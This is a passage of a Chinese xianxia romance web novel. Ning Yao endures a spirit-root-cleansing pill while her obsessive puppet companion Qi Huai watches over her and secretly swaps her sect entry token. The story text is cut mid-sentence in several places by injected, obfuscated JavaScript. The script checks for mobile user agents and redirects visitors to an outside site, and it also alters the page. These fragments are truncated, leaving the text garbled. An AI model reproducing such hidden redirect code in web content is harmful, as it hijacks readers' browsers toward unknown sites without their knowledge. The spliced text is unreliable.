眼见那抹浅黄身影钻进青云画坊,他歪头勾起一抹笑,总算安全抵达了目的地。 谁知翻身落地时画坊竟空无一人。 祁淮蹙眉环顾,里面哪还有那抹亮色? 眸色一暗,顿时因她离开而心闷意乱。 到底还是转身没入长街灯火,离去了。 * 青云画坊不乏穿梭着云城的达官显贵,宁瑶努力降低存在感,随手抱着一卷画,来柜台前,指尖轻叩。 掌柜正在拨弄算盘,听见声音抬眸,画卷下压着她随身的金牌按在柜上:“我找左长泽,左老板。” 掌柜拿起画卷,瞥见金牌上“扶瑶”二字,神情顿肃,恭敬地行礼道:“贵客,请随我来。” 宁瑶微微颔首,掌柜立刻躬身引她步入内阁。从容落座主位,她执起茶盏凑到鼻尖嗅了嗅茶香,却未饮用。 亮眸在室内流转半圈,视线定格在墙角梨花木所制作的画架上。 恰在此时,画架后传来两声轻叩。 画架的暗门翻转,一月白长衫的俊逸青年转出。 他身形高瘦,轮廓棱角分明,眉眼极其深邃。华贵衣袍也遮掩不住舒朗俊逸眉宇间那一丝病态。 左长泽缓步走出,低低咳嗽,伏身行礼,抬眼时目光暗喜,锁在宁瑶脸上:“主上,你我,已三年未见。如今,终于等到你来了。” 三年光阴如水,他凭着往来书信拼凑着她的模样,得知她的一切。 当年那个十三岁的小姑娘,如今已是亭亭玉立的二八年华。 一袭鹅黄衣裙衬得她眉眼如画,五分相似的神韵,他心尖微颤,像极了记忆中的殿下。 “是啊,好久不见,长泽。”宁瑶绽开笑颜,上前虚扶一把,指尖在将触未触时适时收回笑着,“你脸色怎么比上次见面还差?” “不打紧。”他借着她的力道站稳,唇角扬起浅淡笑意,掩唇轻咳两声,“听青姑娘传信,主上此番只带了一个傀儡同行?一个不懂疼人的傀儡,怎么照顾得好你……” 宁瑶轻轻摇头,转身落座,抬手示意他坐下:“这傀儡确实护了我好几次,他对我倒是忠心不二。” “既如此,主上进入天道宗,也要带着这傀儡?”左长泽落座后轻抿茶水,眼底掠过一丝了然。 宁瑶她虽未将傀儡带来画坊,字里行间却都是对傀儡维护之意。 宁瑶轻咳一声,巧妙地带过话题:“嗯。对了,我信中让你寻的东西,可找到了?” 左长泽取出一枚梧桐木牌和一只木盒,起身递给她时,目光始终凝在她脸上:“主上,天道宗入门考核共有三道关卡,你真要冒险前往?” “当然。”宁瑶打开木盒,一枚红色丹药静置其中,清幽的药香瞬间盈满室内,“这枚丹药也该派上用场了。” “主上请三思。” 左长泽担忧的目光落在宁瑶掌心的木盒上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489861|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“洗灵丹虽由无染大师炼制成功了,但能熬过三日蚀骨之痛的寥寥无几。当年公主殿下耗费十年光景才集齐药材,若是……” 若是宁瑶出事,他愧对殿下救命之恩,愧对殿下栽培之恩。 洗灵丹,若不是传奇丹药,世上便不会有所谓的多灵根之人。 一是,它材料难寻,公主殿下在世时,便开始着手准备。十年多光阴,寻遍天下奇花异草,才交由无染大师炼制出一枚洗灵丹。 二是,它洗去灵根之痛楚,非寻常人等可以忍受。 思及此,他还想开口再劝劝她。 “长泽,若是我怕疼就不去争取,和从前任人宰割,任人嘲笑有什么分别?”宁瑶侧眸看向他,啪嗒合上木匣,眸底闪烁着倔强的微光。 “她为我铺了这么长的路,难道我要因为害怕就止步不前?” 自小无数“血”的教训,宁瑶只知道一件事:不争不抢,一无所有。 “从前”的记忆在脑中翻涌作祟,宁瑶深吸一口气,扬起惯常缓和的笑意安抚他的不安。 起身缓步到内室中央,攥紧了掌心的木盒,“别担心,三日后,我定会准时出现在入山考验上。” 见她把东西悉数收进玉佩,左长泽只得压下眼底忧色,起身转动墙上的花鸟画轴。 一道暗门无声地滑开,左长泽护送着她从暗门抵达后门,安全离开画坊。 “主上,从这里沿青石板路走就能到主街。” 宁瑶摩挲了一下腰间储物玉佩,眉眼弯成月牙:“知道啦,我先走一步,长泽。我还有些事情要办,你先去等我。” 青年目送那抹鹅黄色的身影渐行渐远,在斑驳光影中最终消失不见。 他仰头望向巷道间狭长的天空,恍若又见那年玉兰树下,鹅毛大雪中,那道为他指明生路的身影。 “殿下,您看见了吗……”左长泽轻声呢喃,“愿您护佑主上,护佑我们的郡主,万事顺遂。” 宁瑶溜回客栈时,第一件事就是抓起祁淮提前晾在桌上的凉茶,咕咚咕咚灌了一大口。 袖口在颊边扇风,试图驱散一股因紧张与兴奋交织而生出的燥热。 为免节外生枝,她特地留了封书信,叮嘱道:等三日,三日后,我必归。 待祁淮依着宁瑶交代的琐事一一办妥,来到先前跟踪她去到的青云画坊屋外,从白日等到天黑,迟迟不见她出来,只能匆匆往客栈赶回。 他略带急促地推开厢房木门,面对空荡荡的房间,人去楼空,一刹那压抑下去心闷意乱几乎化作实质。 眼波的微光寸寸沉下去,眸光一扫,落在桌上。 指尖捏紧了薄薄的信纸,看完后眸底的阴郁得能滴出水来。 视线落在信末从未见过的笑脸图案上,这般简笔勾勒的小人,笑得如此没心没肺。 他不可避免想到宁瑶在他面前绽开的笑颜。 指腹不由自主,极轻地抚过信纸的笑脸轮廓,仿佛触碰到了那张明媚容颜。 眼底的阴鸷沉郁,悄然散去了些许。 “跑去哪儿了……”祁淮低语喃喃,心中的燥意反扑,怎么也压制不下去,长吐出一口气,扯了扯衣襟,“我一定会找到你。” 12. 第12章 目光落在信末从未见过的笑脸图案上,这般简笔勾勒的小人,笑得如此没心没肺。 他一掌下意识地拍在桌面上,木桌霎时无声地四分五裂。 唯有一张信纸完好无损,祁淮小心叠得方正,贴身收进前襟放好。 指尖拂过腰间的四角银铃,灵力微震,倏然铃音清越。 “去找到她。” 几只幽蓝的蝴蝶自他四角铃铛浮现,穿过敞开的窗,极快地向外飞去。 祁淮抬手按了按心口处的信纸轮廓,眼底翻涌的阴鸷,渐渐沉淀为一片深不见底的幽暗。 * 宁瑶架马而去,依约抵达一座偏僻却灵气氤氲的府邸。 此处从外看去质朴无华,一入内却豁然开朗,别有乾坤。 宁瑶眼波流转,将四下打量一番,左长泽这安排倒是深得她心。 舒适不失雅致,奢华却不张扬,很合她的品味和身份嘛。 她款步走入内室,触目所及皆是锦帷绣幕、玉器琳琅,不由地笑着轻啧一声。 忽然生出几分微妙的心思,真该把祁淮那傀儡带出来。至少帮着她护护法,打理下三天起居。 宁瑶抬手揉了揉眉心,自嘲浅笑。 若真在此处丢了性命,都不必劳动旁人,横竖祁淮与她相系,总会来替她收尸的。 ……不过转念一想,待会儿若疼得失了脸色,嗷嗷乱叫的模样被他瞧了去,她这主人的颜面可就荡然无存了。 更何况此事,知道的人越少越好。 宁瑶一笑了之,走入室内去,看向纱幔。 左长泽早已静候多时,手托木盘,望向重重垂落的纱幔模糊的人影。隔着帷帐,他指间银针闪过微光,精准刺入她周身穴位。 “主上,准备好了吗?” “嗯,准备好了。” 左长泽上前了两步,眸光似要透过垂下的纱幔看见她,哪怕决定不再劝宁瑶,一颗心却怎么也无法安定。 宁瑶褪去浅黄色外衫,布料贴合凹凸有致的身材,沉入弥漫着药香的池水,她盘腿坐下,池水正好浸完下半身到胸口。 她深吸一口气,自盒中取出那枚红色洗灵丹,丹药散发着淡淡的药香。 “来吧。”宁瑶眼一闭,心一横,将丹药吞了下去。 丹药入口即化,一入体内,散发的药力初时如细浪蔓延,带来阵阵隐痛,宁瑶皱紧眉头尚能忍受。可旋即一刻钟后,化为蚀骨钻心的狂潮。 银针封穴,虽能缓解药力带来的部分痛楚,让她保持清醒。 可宁瑶着实高估了这具身体耐受力的阈值。 不过一个时辰,她只觉得度日如年。 她意识模糊地微蜷在池中,唇色惨白,咬紧牙关,偶尔泄出几声气若游丝的呜咽。 眼前模糊不清,疼痛如潮水袭来,将她一阵阵卷撞向意识模糊的“暗礁”。闷哼一声,脸色越发苍白。 宁瑶只觉得浑身的骨头都像是被反复碾过,灵根被生生抽离的痛楚,眼前阵阵发黑。 她眼尾泛红,试图去分散注意力。迷迷糊糊地想着,她体内最后能剩下什么灵根呢? 最好当然是单灵根,双灵根也不错,凑合。 要是实在运气差,老天奶看在她疼得灵魂都要出窍的份上,赏个三灵根当安慰奖也行啊。 疼死了。 疼…… 实在太疼了。 宁瑶眼前发黑,眼角生理性的疼得泛红,额头脖颈处青筋鼓动。 能撑到现在没晕过去,全靠她的意志力硬扛着。 门外,左长泽来回踱步,苍白的指节无意识掐进掌心,病气萦绕的面上焦灼难掩。 这才第一天,里头宁瑶的气息已越发微弱。 药池中水波轻晃,宁瑶终是熬过了这阵撕扯般的剧痛,整个人脱力地趴靠在池沿,湿透的鬓发贴在颊边。 “这也太疼了。”她勉强支起发软的身子大口喘气,视线却骤然一暗。没想到新一轮的疼痛袭来,终是扛不住地昏死过去。 左长泽察觉不对,刚触到门扉还未来得及推开门,一股霸道灵气骤然轰飞了他。刚要爬起来,又被什么东西咬了一口手腕,周身灵力瞬间凝滞。陷入黑暗前,他只瞥见一抹幽蓝的蝶影。 祁淮随着引路蓝蝶赶到时,看见的便是宁瑶半截身子浸在药池中的虚弱模样。 像极了被暴雨打落的桂花,身形每一分一毫都透着虚弱,远远望去,辨不出生死。 祁淮跃入池中将人捞入怀里,池水浸透了半身衣袍。 宁瑶疼得脸颊不见半分血色,他指尖搭上脉门的瞬间瞳孔微缩。 她体内的灵根正被凶悍药力强行剥离,灵力溃散如决堤。竟连护体禁制都没设,正是最危险的时候。 “怎么连一点防范措施都不做,你也敢这般冒险……” 祁淮垂眸盯着怀中的她苍白脸颊,眼眸一暗,转眼间将蓬勃的灵力化作一股细流,缓缓度入她的体内,缓解药力所带来的疼。 “疼……”宁瑶无意识在他怀里嘤咛,指尖揪紧身前人襟前衣料,疼得轻颤。 闷疼她去下意识地挣动,眼角沁出一滴晶莹的水液顺着眼角滑落,恰巧滴沾在祁淮手背上。 祁淮盯着那滴泪珠看了片刻,伸出指尖轻轻,本打算揩去,忽的低头一一舔掉。 咸涩滋味在舌尖漫开时,他喉间溢出低哑音色:“主人,你啊,真是胡闹。” 祁淮歪头凑近,舌尖轻轻吻过她湿润的眼尾。咸涩的泪珠被他抿去,属于她的气息甜得馨香诱人。 “咸的。”他低语,指腹摩挲着她泛红的眼尾,“可又怎么这么甜?” 怀中人因疼痛轻颤的模样,祁淮轻轻捏了捏她的后颈,像在安抚受惊的小猫。 “不乖,若是你死了,可怎么办才好……” 气息擦过她的耳畔,虽知她听不见,眸光却陡然暗沉又阴郁。 仅仅一个“死”字掠过心头,墨眸便翻涌起粘稠的黑暗,几乎要凝成实质。 “不够。”祁淮将她往怀里又按紧几分,垂下眼睫,目光在她苍白的脸颊流连。灵力依旧有条不紊地输送进她的体内,声音里带着病态的执拗,“远远不够。我的……不许死。” 直到他清晰地感知到她经脉中狂躁的灵流正渐渐归于温顺,如退潮的海水,缓缓平息。这才顺手捞起宁瑶散落的一缕湿发,无意识地缠绕在指尖把玩。 先前他亲手为她编好的发辫早已松散,乌黑青丝如瀑铺陈在他怀里。 祁淮耐心地一根根理顺,将凌乱的发丝归拢整齐。 祁淮漫不经心地想,她就算昏迷不醒,该是干干净净、漂漂亮亮的。 乖巧的模样固然顺眼,可他更想看见宁瑶睁开那双总是亮晶晶的眼睛,带着鲜活的笑意望向他。 宁瑶不知,整个人此刻正无意识地陷在他怀中,肌肤隔着湿透的布料紧贴着祁淮。 祁淮低下头,唇瓣若有似无地擦过她的额角,像在确认宁瑶的存在。 见宁瑶面色渐渐恢复血色,祁淮维持着这个姿势一动不动,不知多久,任由盘腿坐到身形僵硬。 袖中黑蛇终于按捺不住,窜入药池,焦急地游近,却被祁淮一记眼刀定在原地。 “安静点,吵醒她的话……”他唇角弯起温柔的弧度,声音却带着寒意。 吵醒小猫,他定要把它打成个结,到时候…… 脑海闪过一丝玩味又认真的念头:让她仔细瞧瞧。 黑蛇在药池岸沿委屈地盘成一团,金色竖瞳在她和祁淮两人中间徘徊。 又不死心,鬼鬼祟祟蛇尾想触碰宁瑶,祁淮漫不经心却渐渐沉郁的目光下,一记眼刀,吓得它讪讪收回了蛇尾。 眼波直勾勾盯着宁瑶,仿佛只差在脑门上刻上“她什么时候醒”。 两人一蛇便在氤氲药香中,等待三日光阴流淌而过。 祁淮手臂早就酸麻,直到宁瑶呼吸彻底平稳,他才稍稍活动一下僵硬的臂弯。 望着怀中人恬静的睡颜,祁淮脸色因灵力消散略显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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祁淮任由宁瑶折腾,牢牢扣住一双不安分的手,灵力传输的不曾间断。 忽然间,紫蓝色的火焰在宁瑶心海中燃起,温柔驱散了身体寒意。她才终于安静下来,枕着他胸口沉沉睡去,双手仍环着他的腰。 * 宁瑶从混沌中醒来,意料中的黏腻并未出现,周身反倒萦绕着一种说不出的清爽。 等等......怀里抱着什么? 她微挑眉,迷迷糊糊地抬眸,目光上移正对上倚在床头,合着眼的傀儡少年。 祁淮容颜依旧精致得如同画中人。 漂亮的少年多是雌雄莫辨,祁淮便是如此。 可此刻他眉眼间难掩倦色,似乎连眼下那两颗小泪痣都显得黯淡几分。 祁淮他怎么会在这里?她不是留信,叫他在客栈等自己三日吗? 思绪纷乱间,指尖传来的异样感让她眸光转移,这才发现自己的手正搭在祁淮腰际。 少年腰身精瘦,银质的腰链正硌在掌心,似随着呼吸轻轻起伏。 他的腰好细。 宁瑶第一个想法刚冒出,第二个想法紧随其后。她没忍住好奇地轻轻捏掐祁淮的细腰,凌乱衣襟更分开,布料下紧实的肌理让她猛然回神。 一抬头,径直撞进一双幽深的墨眸里。 祁淮微歪头,铃音轻响。 “醒了?”他的声音带着沙哑。 “嗯,醒了。”宁瑶点点头,意识到手仍放在少年腰上,触电般缩回手,干笑两声往后挪,却被一双手稳稳捞回原处。 视线交织,他微歪头凑近,呼吸在咫尺间交缠不休。 她的脸颊几乎贴上他微敞的衣襟,耳畔传来缓慢到异常的心跳。 咚,咚,每声都像是从很远的地方传来,昭示着傀儡少年他不是正常人。 “祁淮?”宁瑶抬眸,轻轻推开他,“你还好吗?” 13. 第13章 她没能推动少年的肩膀。 祁淮放开她的手腕,在她略带困惑的目光下,转而修长指尖向下,将宁瑶的一缕青丝从被缠绕的腰链中取出。 叮铃叮铃,银饰腰链发出轻响。 宁瑶眼神不自觉地落在那引人注目的腰线,腰细但不失力量感。 ……还有刚刚残留的手感。 宁瑶下意识屏住呼吸看着他。 祁淮解开后,这才退开一点,拢在身后的手捻了捻指尖。阴郁的眸底,差点压制不了隐秘的笑意。 他沉默点头,疲倦地眨了眨眼,一副“任君采撷”的乖顺模样。 “谢谢。”脑子因他反应慢了半拍,感谢的话脱口而出。不过看他状态不对劲,宁瑶福至心灵,坐直身子道,“没电,哦不对,是没灵力了对吧?” 见对方默认不言地点头,宁瑶心底顿时心生懊恼,轻拍额头,“怪我忘了给你留灵石。” 这傀儡它耗灵力,光指望祁淮干活,她却不给其充能,天底下哪有这么霸王条款的道理。 默默腹诽,哪怕祁淮如今只是个没有知觉的死物,宁瑶都做不出对他苛刻之事。 宁瑶凑近苍白俊美的脸,心头一软。 她伸手替他理了理凌乱的衣襟,眸中愧疚满得几乎要溢出来,道:“委屈你了。下次一定,我一定记得给你先充钱……不是,是让你吃饱灵石。”虽然吃灵石,也相当于烧钱了。 祁淮伸手将一个粉黛色乾坤袋递还给她,“主人,你交代的,我完成了。” “你……”她接过乾坤袋掂了掂,疑惑地抬眸,“灵石都在里面,祁淮,你为何不自己打开吸收?” “祁淮一切,自然都听主人的指示。”他答得一如既往,喝水似的理所当然。 宁瑶实在没忍住,噗嗤一笑,哗啦啦倒出一堆上品灵石塞进少年怀里。 “以后没灵力随便用,记住了吗?”说完,她没忍住地轻戳在他胸口,“这是主人我,给你的特权命令,OK吗?” 瞧她一副拿他没办法的模样,他墨眸忽闪,嘴角微扬,快速掩去唇角转瞬即逝的弧度,“明白了,主人。” 宁瑶嘴里虽然总蹦出些听不明白的怪词儿,但祁淮半猜半蒙,倒也懂了七八分。 他仍带着一副人畜无害的温软笑意,指节摩挲着她塞来的灵石。 “别客气,”少女浑然未觉,眉眼弯弯地拍了拍他肩头,“你可是我的傀儡,哪有主人亏待自己‘人’的道理?” 听到“自己人”三字,祁淮眸底狡黠一闪而过,“那在主人眼底,祁淮是‘人’吗?” 她轻咳一声,又怕伤了傀儡少年的小心脏。万一一个不高兴,分分钟坏掉罢工给她看了? 宁瑶谨记“物品夸夸论”。 “这重要吗?”她抬眸对着他浅笑,不动声色地打着哈哈,转移话题说道,“重要的是,我,宁瑶,你的主人,将祁淮当做自己‘人’。” “即是如此,主人便一直让我,做你的‘人’。”灵石在祁淮掌心泛起莹莹微光,他长睫半垂一笑。借汲取灵气的间隙,余光细细描摹身旁之人的轮廓。 宁瑶从松软的床榻上起身走到一边,舒服地伸了个懒腰,活动全身筋骨。 真是奇了怪。 她明明睡了整整三日,期间痛得神魂颠倒、意识模糊,那叫一个不知天地为何物。 可现在,反观她神清气爽,连一丝肌肉的酸胀感都不曾留下。 思及此事,宁瑶偏过头,目光落在祁淮身上,疑惑问:“祁淮,你怎么会在这儿?” 这处小院可是左长泽亲自打点的,位置隐蔽又安全不说,外面更设下了护院阵法,按理说连只陌生苍蝇都闯不进来。 他难不成是凭空变出来的? 祁淮闻声,慢条斯理地抬眸,视线轻飘飘地缠上她。唇角扬起微妙的弧度,语气依旧是标准的回答道:“找到主人,是身为‘傀儡’的本分呀。” “哦。”宁瑶若有所思地点点头,想来也对,并未过多在意。 缓步行至一旁,她蹙眉地按住心口,面上极快闪过一丝困惑。 一觉醒来,体内的灵根皆感知不出,却偏偏灵力仍在经脉中流转。 这诡异状况,宁瑶心情陡然发沉到谷底。 正思索时,忽觉某道视线不偏不倚。 “祁淮,你看我做什么?”宁瑶微偏头,撞上少年并不刻意隐藏的目光。 “主人今日似乎有些不同。”祁淮缓步靠近,前倾身形,俯身与她平视,发辫小铃铛悦耳作响。 祁淮并未解释,只留下这句意味深长的话。宁瑶都不清楚现在算是个什么情况,强压下心头一丝不安困惑,一把推开了房门。 屋外夜色沉沉,浓重如墨。 她目力一扫,环顾四周不见熟悉的身影,转头就见左长泽身形趟地,斜倚在窗边,身上随意搭着的披风已滑落大半。 急忙小跑过去,半扶起他坐起身,想到他身体不好,急忙轻唤:“长泽,左长泽?” 祁淮立在阴影里,见她关心着一个“不相干”之人,眸光不禁一暗,心底不爽悄然滋生。 粘稠视线紧盯着宁瑶伸出扶着左长泽的一双手,呼吸渐沉。 她试探左长泽鼻息,见他气息平稳,赶紧招呼祁淮:“他气息平稳,快,扶他入屋。” 祁淮顺势将人揽进怀中,在宁瑶松手的刹那,袖中石针悄无声息地刺入左长泽指尖。 几滴污血坠入袖口等候多时的黑蛇口中,一切都被他的身形遮掩得恰到好处。 待左长泽在床上转醒,睁开眼,茫然地看了一眼四周。病态苍白的俊容因剧烈的咳嗽,染了几分不健康的红晕。 “主上可还安好?”左长泽急切地撑起身子,全然不顾他怎么睡在外面的情况。 现如今,能看到宁瑶安然无恙,他便安心了。 宁瑶避开他灼热的视线,郁闷地挠了挠脸颊,心情虽不太美丽,还是咬了咬后槽牙道:“没了,全没了。” 左长泽瞳孔骤然收缩,指尖无意识攥紧了衣袖,“什么?”他几乎怀疑自己听错了,又追问了一句,“什、什么没了?” 宁瑶深吸一口气,扬起一个牵强的笑容,才道:“灵根在我体内被彻底炼化了,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁瑶呼吸一滞。 这些秘辛,娘亲连半句都未曾透露。 “九幽灵火可纳万物灵气,尤与火系功法相契。只是……”左长泽声音沉了下去,“这体质太过霸道,稍有不慎便会灵脉逆冲,走火入魔。” 宁瑶恍惚忆起,昏睡前她在心海见过那簇跳跃的幽火 ——原来不是错觉。 “我明白了。”她轻声说,眸光一沉,“那娘亲是因为什么坏了根基,你可知怎么回事?” “不知。”左长泽猛地咳嗽起来,眸光瞥了四下,指节揪紧衣襟,“主上万事小心,切记你体质之事,绝不可让第三人知晓。” 知晓左长泽是不愿给她带来压力,宁瑶赶紧“嗯”了一声,巧妙转移话题道:“长泽,你没见过我的傀儡吧?” 左长泽注意力全在宁瑶身上,迟迟未发觉她身后几步外,正有一个负手而立的少年。 宁瑶移开身位,身后漂亮的傀儡少年显露身形,眉眼极其精致,过之不忘。 左长泽倒吸一口气,诧异地睁大眼眸,目光在两人中间僵硬地转动。 “主上,这个傀儡是否太过招摇了?” “这不挺好看?”宁瑶笑了一声,侧眸端详傀儡少年昳丽的容颜。 祁淮半垂长睫,眸底阴郁暗光一扫而空。他低低轻笑一声,随即直视上微蹙眉宇的某人,眼波暗藏着满是得逞的挑衅笑意。 “主人说我好看,我便是好看。” 14. 第14章 宁瑶笑得眉眼弯弯,“可以质疑我,但不能质疑我的眼光。”她笑着打趣完,回眸看向左长泽,“长泽,我要上山了。” “主上,准备好了?”左长泽指尖蜷在一起,指节攥得发白。最终只是抵在唇边,掩住咳嗽。 “嗯,入山时间不等人。”宁瑶颔首,眸光中闪烁着势在必得的微光。 灼热,亮目,让人忍不住侧目动容,吸引走全部心神。 祁淮静看左长泽一时语塞盯着宁瑶。 他微挑眉,不动声色上前遮挡部分身形,俯身下来平视她,“主人,该休息了,子时了。” “哦,对。今日太晚,我得收拾一番行囊。长泽你先好好休息,我便在偏院,有事你叫我。” “好。”左长泽咳嗽两声,倦眸目送两人离去,视线转向傀儡少年稳健笔直的身形。 那时到底是什么才会昏迷?会是宁瑶身边的傀儡做的吗?还是因为洗灵丹,而导致宁瑶身体灵力冲击他而昏去? 似乎最后一眼是一只幽蓝色蝴蝶。 不行,这少年他得多留意。若是敢伤害主上,必除之。 宁瑶安置好左长泽,提着裙摆拐进偏院,身后那清脆铃音不紧不慢地响着,紧跟其后。 脚步声分明清晰得仿佛响在耳畔,她回眸一瞧,却惊觉自己又听不清少年的脚步声了。 难不成是她如今体质有异,所以导致的? 祁淮猝不及防对上她的目光,足音几不可察地乱了一瞬,赶紧恢复了以往。 他半垂下眼睫,指尖下意识地摩挲着袖中那块捂热的硬质梧桐木牌边缘,喉结轻轻滚动。 刚伸出手,偏在宁瑶转身的刹那。 祁淮手抽回,指尖一挑,将险些暴露的木牌重新藏进袖口。 宁瑶去到偏院,阖上门开口道:“祁淮,我已有通行木牌,明日你便随我上山。” “主人已经拿到了?”他尾音微微扬起,眸子暗流涌动,面上依旧是温良无害的浅笑,“何时得的?” 小猫,真是让人意外。 似是没想到祁淮会继续追问,宁瑶正低头整理储物玉佩,随口应道:“长泽三日前就备好了。” 祁淮身形微僵,心底燥郁没由来地一瞬,这股心闷让他轻扯了扯衣襟,“嗯”了一声。 发辫银铃轻颤。 祁淮垂下眼帘掩住翻涌的暗色,见她从玉佩中取出物什,他顺势上前帮忙整理,视线却黏在了摆在最显眼处的那个锦色木盒。 趁着她清点瓶瓶罐罐的间隙,祁淮悄悄掀开盒盖。 当看见里面那块梧桐木牌时,指尖骤然收紧,飞快将自己寻得梧桐木牌换了进去。 不乖。 只能用他找到的东西,他的……主人。 做完这一切,祁淮若无其事地继续整理其他物品,唇角不受控制地扬起,整理速度轻快了许多。 宁瑶偏头打量勤快又麻利的傀儡少年,总觉得祁淮方才散发出的气息,似乎是一种难以辨别的错觉。 此刻,祁淮依旧沉默无言。发辫银铃随着动作叮咚作响,倒像只被悄然顺了毛似的。 宁瑶眨了眨眼,很快把脑海里那点古怪的念头甩了出去。 烛火噼啪一跳,映得少年容颜轮廓漂亮干净。 她暗自好笑。 祁淮就是祁淮,再像活人也不过是个傀儡,改变不了这个事实。 难不成能长出脾气,如人似的拥有喜怒哀乐?那不就和“人”一样了,这多可怕呀…… 宁瑶侧眸,侧眸瞥了眼俊俏的侧颜,收回了心里那点不应当的念头。她利索地收拾停当,将玉佩重新系回腰间,随即躺下。 祁淮依旧如往常般,沉默地守在她的榻边。 确认她已沉沉睡去,那股滞后性的因连续三日损耗灵力而积压的迟滞疲倦涌上来。 他俯下身,温热气息轻拂过她的发顶,深吸那一缕令他眷恋的馨香。 为何会如此着迷? 甚至……时常忍不住生出将她时时刻刻掠夺在自己怀里的念想。 祁淮微歪头,扬起一抹意味深长地笑,一吻在宁瑶光洁的额头,停留许久,方才直起身,悄然退后几步,悄无声息地离开厢房。 他身影一闪,独立于月光倾泻的屋顶。 闭目凝神,运转功法引月华之力,缓缓填补恢复流失的灵力。 这一夜,宁瑶睡得格外沉,连平日里那丝若有若无的束缚感也未曾侵扰。许是三日耗尽了气力,身体不太吃的消去做什么梦境。 她睡饱,迷迷糊糊掀开眼皮,意识逐渐回笼。 “祁淮?”宁瑶下意识地轻唤。她目光在房中扫过,却未寻到那抹熟悉的身影。 惯常的陪伴骤然落空,心底掠过一丝微妙的异样。 惯常之物被打破的异样感。 还真是被一个傀儡养出惰性了。窝在软乎乎的枕头上磨蹭了一下,这才慢吞吞地起身,伸手去拿那件浅黄色的外衫。 就在这时,一只骨节分明的手从身后悄然探出,自然而然地取走了外衫。他保持着恰到好处的距离,不会让她生厌,动作细致地为她穿戴起来。 他微微歪头,发辫间缀着的小铃铛发出细碎清响。 宁瑶抬眸,看着少年从身后转到身前,专注地为她系着衣带,不由弯唇笑了笑。 “主人方才可是在唤我?”祁淮半垂着眼睫,眼底依旧是深邃寂静,却偏生萦绕着一种隐秘的专注。 “你刚才去哪了?”宁瑶眨了眨眼,语速轻快地问道,心生别扭,不自在地轻咳一声。 “去为主人寻了一架灵船。”祁淮答得从容,手上动作未停,熟练地为她编着发辫,又理所当然地理了理她鬓边的碎发。 宁瑶没有躲闪,默许了他的小动作,赞许地点头:“很好,我们现在就出发。不过在那之前,还有件东西要给你。” 宁瑶取出一张特制的银蓝色面具,面具上绽开精致的花纹,鼻梁到两颊处镂空镶嵌着几根银色狼獠牙。 既遮住了下半张脸,又不妨碍呼吸。 “没有我的命令,不许摘下来。”宁瑶勾了勾手指,轻轻拽住他的衣襟往前带。 祁淮顺从地俯身,不着痕迹地又贴近半寸,嗓音低沉:“好。” 冰凉的银面具贴上肌肤,恰好露出一双深邃的眼眸。最妙的是他眼睑下那两颗小泪痣,在面具上的边缘若隐若现,平添几分莫测的神秘感。 宁瑶欣赏的看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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左长泽见此露出欣慰的笑意,却又因一阵急咳,掩饰地弯下腰去行礼:“属、属下祝主上,一路顺风。” “嗯。”宁瑶浅笑。 祁淮候在一旁跟随走着,幽暗眸光瞧着宁瑶愉悦地摩挲着那双手链。 唇角勾起的笑意,微泛红的眼尾,甚至起伏的情绪,都让他顿生莫名的燥郁与探究。 他偏过头,发间银铃随之轻晃,漆黑的眼睛望过来,“这位殿下究竟是主人的何人?” 竟能让她屡次神情变化。 宁瑶对傀儡居然会对此事产生好奇而一愣,侧眸笑着用袖口擦了擦眼角湿润,掩饰差点被看穿的心事,“是我娘亲,我的亲人。” 这个答案…… 祁淮的长睫垂落,他曾在苗疆见过无数人拥有,宁瑶也拥有…… 唯独他不曾。 宁瑶走着,身后气息悄然靠近,他用指尖在背后轻轻勾住宁瑶飘起的衣带,力道极轻,她并未察觉。 祁淮微压下声音:“她能让主上展颜一笑,我亦可以。”他要她的笑颜为他而绽放,只为他一个人…… 宁瑶回眸,傀儡少年依然端着那般无害温良的模样,“好啊。”宁瑶笑着打趣,傀儡毕竟是死物,她并未放在心上。 祁淮跟在她一步之遥,瞧着那道倩影,忽地无声浅笑一声。 粘稠潮湿的笑意,视线紧紧缠绕在她周身。 15. 第15章 有了银钱和灵石,祁淮又买好了灵船,他们一路诸事皆宜。 凭借天道宗的木牌引路,驱使灵船很快穿过云雾缭绕的结界,一路穿云拨雾,终是抵达了隐在深山里最高的那座山峰。 飞舟稳稳降落在芳草萋萋的平地上,甫一落地,引得在场零星散布的修士纷纷侧目。 本想低调行事,奈何一抹娇俏不失华贵的鹅黄少女身旁,是一位戴着银蓝色面具的高大神秘的“傀儡”。 两人实在惹眼。 察觉到那些若有似无的打量,祁淮微微眯起眼,指尖抚过腰间的四角铃铛,眸中掠过一丝阴郁与杀意,上前一步将宁瑶遮掩。 ——这副面具,若是戴在她脸上倒很合适。 将整个人都裹得严严实实,叫旁人半分都窥不见。 宁瑶将祁淮的小动作尽收眼底,唇角弯了弯,佯装未见,自然地收起了缩小版灵船。 二人并肩立于树荫下,任周遭打量目光,只静候入山考核的钟声响起。 “主人,请喝……”祁淮话音未落,刚递来拧好的水壶,一道含笑的嗓音突然插了进来打断了他的话。 祁淮眸色暗沉,不愉地随声音望去。 “听闻,这天道宗入山须过三道难关。二位可知,具体是哪三关?” 